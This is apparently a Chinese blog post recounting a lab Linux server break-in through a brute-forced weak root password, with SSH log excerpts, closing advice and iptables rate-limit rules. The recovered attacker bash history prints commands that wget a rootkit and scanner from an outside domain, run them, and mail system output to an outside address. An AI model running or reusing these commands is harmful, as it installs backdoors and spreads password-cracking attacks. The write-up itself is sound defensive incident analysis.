由一次ls错误发现的服务器入侵

实验室有几台linux服务器,有的用来做项目开发和测试,有的用来做代码库和知识共享。服务器都是直接接入教育网,理论上分配到的IP地址都是公网地址。但是考虑到教育网与公网之间的访问障碍以及有伟大的校长保护,对服务器的安全配置也就没怎么在意,iptables神马的都是默认配置。另外因为服务器地址都是通过DHCP获得的,为了方便实验室同学访问,给每台机器都绑定了dynamic dns。一直以来运行的都非常好,直到清明假期过后。 清明假期过后像往常一样登陆到开发服务器上,偶然发现ls命令显示有点问题:

ls: unrecognized prefix: do  
ls: unparsable value for LS_COLORS environment variable.  

开始以为有谁动了我的bash配置文件,检查之后没发现问题。后来google了一下这条出错信息,找到这两个页面:Link1, Link2。考虑到那个悲催&弱智的root密码,看来服务器是被hack了==#

首先看下ssh登陆记录,redhat系的ssh记录在/var/log/secure,debian系的记录在/var/log/auth.log。发现了大量的ssh登陆错误的记录:

# cat /var/log/secure | grep "sshd" | grep "Failed"
Apr  4 12:09:45 localhost sshd[624]: Failed password for root from 113.108.237.70 port 51590 ssh2  
Apr  4 12:09:49 localhost sshd[1683]: Failed password for root from 113.108.237.70 port 51932 ssh2  
Apr  4 12:09:52 localhost sshd[2505]: Failed password for root from 113.108.237.70 port 52254 ssh2  
Apr  4 12:09:55 localhost sshd[3497]: Failed password for root from 113.108.237.70 port 52531 ssh2  
Apr  4 12:09:59 localhost sshd[4651]: Failed password for root from 113.108.237.70 port 52846 ssh2  
Apr  4 12:10:03 localhost sshd[5444]: Failed password for root from 113.108.237.70 port 53197 ssh2  
Apr  4 12:10:06 localhost sshd[6651]: Failed password for root from 113.108.237.70 port 53539 ssh2  
Apr  4 12:10:12 localhost sshd[7839]: Failed password for root from 113.108.237.70 port 53791 ssh2  
Apr  4 12:10:15 localhost sshd[9028]: Failed password for root from 113.108.237.70 port 54368 ssh2  
Apr  4 12:10:19 localhost sshd[9834]: Failed password for root from 113.108.237.70 port 54649 ssh2  
...
...

可以断定是弱智的root密码被爆破了==!然后再切到root账户,用命令history查看bash history,还好记录没有被清除:D,在历史记录的最下边看到如下记录:

w  
uname -a  
cd /tmp  
ls -a  
wget http://redhack.biz/archive/rks  
tar xvf rks  
cd .sshd/  
ls -a  
./setup  cacat123
nmap 59.64.133.135  
ls -a  
w  
screen -r  
ps x  
cat /etc/passwd  
cat /proc/cpuinfo  
php -v  
w  
last -20  
ps aux  
cd /dev/shm  
ls -a  
dir  
mkdir " "  
cd " "  
wget http://redhack.biz/archive/usascan.jpg  
tar xvf usascan.jpg  
cd usascan  
ls -a  
nano kas  
id|mail -s "test" ForeverSuKy@yahoo.com  
nohup ./kas 94 >> /dev/null &  
w  
exit  

按照上边的链接下载回来分析,一个是后门程序一个是弱密码扫描器。后门程序替换掉了系统中的几个重要的程序,包括:ls, ps, top等等。这也是为什么我在执行ls的时候显示不正常,执行netstat时直接coredump的原因。后边的扫描器会根据自带的地址表和弱密码表破解pop3服务器,然后将破解到的密码发送到一个邮箱中,这个简单的爆破工具居然是php写的。顺便查了一下上边的域名注册信息,注册地址显示的是西班牙。好在机器上没有啥重要信息,而且发现的比较及时,没造成什么问题。也没有闲工夫去继续追查攻击者了,直接重装系统完事。

总结

  1. 服务器root账户用弱密码是个很SB的事情!甚至都没有必要在服务器上开启root账户。这一点debian系的发行版做的就好,默认都是锁住root账户的。从实验室另一台debian服务器的ssh log中可以看到,同样有大量暴力破解记录,但是因为root是被锁住的,所以都没有成功。

  2. SSHD默认开22端口没问题,但是一旦开了默认端口,那么必须配合iptables限制访问数量,防止暴力破解。网上找的一段iptables配置规则,每分钟至多允许三条ssh连接,一旦超过之后,客户端的连接将会在下一分钟内全部被拒绝。

iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set \  
 --name SSH -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m recent --update --seconds 60 --hitcount 4 --rttl \  
 --name SSH -j LOG --log-prefix "SSH_brute_force "
iptables -A INPUT -p tcp --dport 22 -m recent --update --seconds 60 \  
 --hitcount 4 --rttl --name SSH -j DROP

这里有更多参考,来防止sshd被破解。

comments powered by Disqus